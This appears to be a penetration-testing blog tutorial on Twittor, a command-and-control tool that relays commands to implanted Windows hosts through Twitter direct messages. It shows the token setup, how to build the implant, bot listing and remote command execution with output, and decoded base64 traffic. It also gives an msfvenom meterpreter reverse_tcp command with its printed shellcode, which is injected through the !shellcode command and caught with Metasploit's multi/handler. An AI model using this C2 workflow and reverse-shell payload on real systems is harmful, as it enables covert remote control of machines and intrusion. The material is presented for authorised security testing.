

Command and Control – Twitter

Social media networks are a great tool for the marketing teams of companies. If they are used correctly they can often attract new business. Therefore it is almost impossible traffic to be blocked towards social media platforms such as Twitter and Facebook. This can be used in the advantage of the pentester as there are various command and control tools that can hide their activities behind social media network traffic.

One of the publicly known command and control tools that is using Twitter is called Twittor. This tool was developed by Paul Amar and it was based in the idea of Gcat which uses Gmail as a command and control server.

The only requirement is that both the implant and the C2 server need the consumer and access token which can be generated from the Twitter application management.

```
api = None

# These values are appropriately filled in the code
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
MAC_ADDRESS = ':'.join(("012X" % get_mac())[i:i + 2] for i in range(0, 12, 2))
```

Twittor – Consumer and Access Token

These values will generated automatically once a new Twitter application is created. The communication from the controller to the host is performed via Twitter direct messages therefore the new application will need Read, Write and Direct Message access.

PentestlabC2

[Details](#)[Settings](#)[Keys and Access Tokens](#)[Permissions](#)

Access

What type of access does your application need?

Read more about our [Application Permission Model](#).

- ☐ Read only
- ☐ Read and Write
- ☒ Read, Write and Access direct messages

Twitter – Access Permissions

The implant is based in python however it can be converted into an executable with the use of [pyinstaller](#). It should be noted that this tool requires python 2.7. Pyinstaller can be installed directly from pip.

- 1 `pip install pyinstaller`
- 2 `pyinstaller implant.py`

Once the implant is executed on the target **Twitter** will receive the connection and the MAC address of the host including the Windows build will be retrieved.

```
root@kali:~/twitter# python twitter.py
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
E0:94:67:90:22:6C: Windows-10-10.0.15063-SP0
$
```

Twitter – Retrieve Alive Bots

Twitter at this point has the ability to execute commands on a target, execute shellcode in memory and also retrieve a list of the commands that it has been executed on hosts.

```
$ help

refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
exit - exit the client
```

Twitter – List of Commands

In order to send a command Twittor uses the MAC address of the target.

- 1 `$ list_bots`
- 2 `E0:94:67:90:22:6C: Windows-10-10.0.15063-SP0`
- 3 `$!cmd E0:94:67:90:22:6C ipconfig/all`
- 4 `[+] Sent command "ipconfig/all" with jobid: SPVGIpE`

```
$ list_bots
E0:94:67:90:22:6C: Windows-10-10.0.15063-SP0
$ list_commands
[-] No commands loaded
$ list_bots
E0:94:67:90:22:6C: Windows-10-10.0.15063-SP0
$ !cmd E0:94:67:90:22:6C ipconfig/all
[+] Sent command "ipconfig/all" with jobid: SPVGIpE
$ !retrieve SPVGIpE
```

Twittor – Execute Command

The command will be sent to the host via a direct message on Twitter in a base-64 encoded format.

```
eyJvdXRwdXQiOiAiV2luZG93cy0xMC0xMC4wLjE1MDYzLVNQMC
lsICJjbWQiOiAiUElORyIsICJqb2JpZCI6ICJLdnF0OEduliwgInNlbnR
lcil6ICJFMDo5ND02Nzo5MDoyMjo2QyIsICJyZWNIaXZlci6ICJtYX
N0ZXIifQ==
```

```
eyJjbWQiOiAiAiaXBjb25maWcvYWxsliwglmpvYmkljogllNQVkdJcE
UiLCAic2VuZGVyljogIm1hc3RlciIsICJyZWNIaXZlci6ICJFMDo5ND
o2Nzo5MDoyMjo2QyJ9
```

```
eyJvdXRwdXQiOiAiXHJcbldpbmRvd3MgSVAgQ29uZmlndXJhdGl
vblxyXG5ccxulCAgSG9zdCBOYW1lIC4gLiAulC4gLiAulC4gLiAulC4
gLiAulDogREVTS1RPUC00Q0c3TVMxXHJcbiAgIFByaW1hcnkgRG
5zIFN1ZmZpeCAgLiAulC4gLiAulC4gLiA6IFxyXG4gICBOb2RlIFR5c
GUgLiAulC4gLiAulC4gLiAulC4gLiAulC4gOiBleWJyaWRccxulCAg
```

Twittor – Direct Messages

Since Twittor doesn't use any encryption direct messages can be decoded easily. The message that will be transferred to the target will contain the following information:

- CMD Command
- JobID
- Sender
- Receiver MAC Address

Decode from Base64 format

Simply use the form below

```
eyJjbWQiOiAiaXBjb25maWcvYWxsliwglmpvYmlkljogllNQVkdJcEUiLCAic2VuZGVyljogIm1hc3Rlcil  
sICJyZWNIaXZlciI6ICJFMDo5NDdo2Nzo5MDoyMjo2QyJ9
```

< **DECODE** >

UTF-8



You may also select input charset.



Live mode OFF

Decodes while you type or paste (in strict mode).



UPLOAD FILE

Decodes an entire file (max. 10MB).

```
{"cmd": "ipconfig/all", "jobid": "SPVGIpE", "sender": "master", "receiver": "E0:94:67:90:22:6C"}
```

Twitter – Decoding Base64 Commands

The output of the commands can be retrieved by using the command **retrieve** with the associated JobID.

```
1 $ !retrieve SPVGIpE
```

```
$ !retrieve SPVGIpE
SPVGIpE:
Windows IP Configuration

Host Name . . . . . : DESKTOP-4CG7MS1
Primary Dns Suffix . . . . . :
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : home

Wireless LAN adapter Local Area Connection* 2:
```

Twitter – Display Command Output

It is also possible to deliver shellcode to the target in order to get a Meterpreter session and utilise its functionality. Metasploit msfvenom can be used to generate python shellcode.

- 1 `msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX
LPORT=4444 -f python`

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.169 LPORT=4444 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of python file: 1602 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
```

Twittor – Python Shellcode

The command below will execute the shellcode on the target.

- 1 `!shellcode E0:94:67:90:22:6C shellcode`

The following Metasploit module can be used to receive the connection.

- 1 `exploit/multi/handler`

References

<https://github.com/PaulSec/twittor>